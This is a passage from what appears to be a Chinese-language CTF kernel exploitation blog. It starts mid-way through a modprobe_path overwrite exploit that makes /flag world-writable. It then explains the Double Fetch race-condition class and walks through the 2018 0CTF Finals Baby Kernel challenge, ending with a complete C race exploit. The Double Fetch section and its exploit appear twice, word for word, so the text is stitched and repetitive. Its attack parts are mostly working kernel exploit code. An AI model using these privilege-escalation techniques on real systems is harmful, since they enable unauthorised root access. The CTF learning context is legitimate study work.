    kread(fd,temp_mem,0x10,0x8);
    secondary_startup_64=temp_mem[0];
    printf("[+] secondary_startup_64: %p\n",secondary_startup_64);
    size_t kernel_base=secondary_startup_64-0x30;
    printf("[+] kernel_base: %p\n",kernel_base);
    size_t modprobe_path=kernel_base+0x1444700;
    printf("[+] modprobe_path: %p\n",modprobe_path);

    close(fd3);

    temp_mem[0]=modprobe_path-0x10;
    kwrite(fd,temp_mem,0,0x20);
    kmalloc(fd);
    kmalloc(fd);

    char target[100]="/home/test.sh";
    kwrite(fd,target,0x10,0x20);
    printf("has write\n");

    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/test.sh");
    system("chmod +x /home/test.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/fuck");
    system("chmod +x /home/fuck");

    system("/home/fuck");

    system("cat /flag");

}
```

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230214001339.png" style="zoom:50%;" />

[Kernel Pwn] 0x09 Kernel实战

与世无争就拿不到flag😀



### Double Fetch

其实手法原理很简单 就是条件竞争

`Double Fetch`直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 `Double Fetch`在内核与用户态交互中主要在以下情况中出现

用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据

举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧

但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用`CTF Wiki`上的一张图 来说明

![](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/figure/double-fetch.png)

### 2018 0CTF Finals Baby Kernel



#### 文件分析

很干净

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011744.png" style="zoom:50%;" />

解压文件系统后抓到`baby.ko`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011850.png" style="zoom:50%;" />



#### 逆向分析

直接看`baby_ioctl`吧

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011925.png" style="zoom:50%;" />

从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为

```c
struct flag
{
    size_t flag;
    size_t length;
    /* data */
};
```

首先是进行了两次`_chk_range_not_ok`校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131012118.png" style="zoom:50%;" />

`__CFADD__`为获取到`a1+a2`的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是`0xffffffffffffffff`附近的数字 一般都不会产生进位

最为重要的就是a3和v4的比较 这里我们需要进行调试看一下`&current_task+0x1358`到底是哪里

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131013920.png" style="zoom:50%;" />

可以看到是`0x7ffffffff000`而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可



#### 主要思路

在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会`printk`给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写`flag`指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功



#### exp

```c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

struct flag
{
    size_t flag;
    size_t length;
    /* data */
};

struct flag data;

void competitionThread(size_t flag_addr)
{
    while (1)
    {
        data.flag=flag_addr;
    }
}

int main(void)
{
    pthread_t compete_thread;
    int fd=open("/dev/baby",0);
    ioctl(fd,0x6666,&data);

    size_t flag_addr;
    scanf("%p",&flag_addr);

    void* fake_flag=malloc(0x100);
    

    pthread_create(&compete_thread,NULL,competitionThread,flag_addr);
    
    int i;
    for(i=0;i<1000;i++)
    {
        data.flag=(size_t)fake_flag;
        data.length=33;
        ioctl(fd,0x1337,&data);
    }
    
    pthread_cancel(compete_thread);
    system("dmesg | grep flag");
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131015858.png)

[Kernel Pwn] 0x08 Kernel Userfaultfd

👨要肝不动了



### Double Fetch

其实手法原理很简单 就是条件竞争

`Double Fetch`直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 `Double Fetch`在内核与用户态交互中主要在以下情况中出现

用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据

举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧

但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用`CTF Wiki`上的一张图 来说明

![](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/figure/double-fetch.png)

### 2018 0CTF Finals Baby Kernel



#### 文件分析

很干净

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011744.png" style="zoom:50%;" />

解压文件系统后抓到`baby.ko`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011850.png" style="zoom:50%;" />



#### 逆向分析

直接看`baby_ioctl`吧

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011925.png" style="zoom:50%;" />

从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为

```c
struct flag
{
    size_t flag;
    size_t length;
    /* data */
};
```

首先是进行了两次`_chk_range_not_ok`校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131012118.png" style="zoom:50%;" />

`__CFADD__`为获取到`a1+a2`的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是`0xffffffffffffffff`附近的数字 一般都不会产生进位

最为重要的就是a3和v4的比较 这里我们需要进行调试看一下`&current_task+0x1358`到底是哪里

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131013920.png" style="zoom:50%;" />

可以看到是`0x7ffffffff000`而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可



#### 主要思路

在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会`printk`给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写`flag`指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功



#### exp

```c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

struct flag
{
    size_t flag;
    size_t length;
    /* data */
};

struct flag data;

void competitionThread(size_t flag_addr)
{
    while (1)
    {
        data.flag=flag_addr;
    }
}

int main(void)
{
    pthread_t compete_thread;
    int fd=open("/dev/baby",0);
    ioctl(fd,0x6666,&data);

    size_t flag_addr;
    scanf("%p",&flag_addr);

    void* fake_flag=malloc(0x100);
    

    pthread_create(&compete_thread,NULL,competitionThread,flag_addr);
    
    int i;
    for(i=0;i<1000;i++)
    {
        data.flag=(size_t)fake_flag;
        data.length=33;
        ioctl(fd,0x1337,&data);
    }
    
    pthread_cancel(compete_thread);
    system("dmesg | grep flag");
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131015858.png)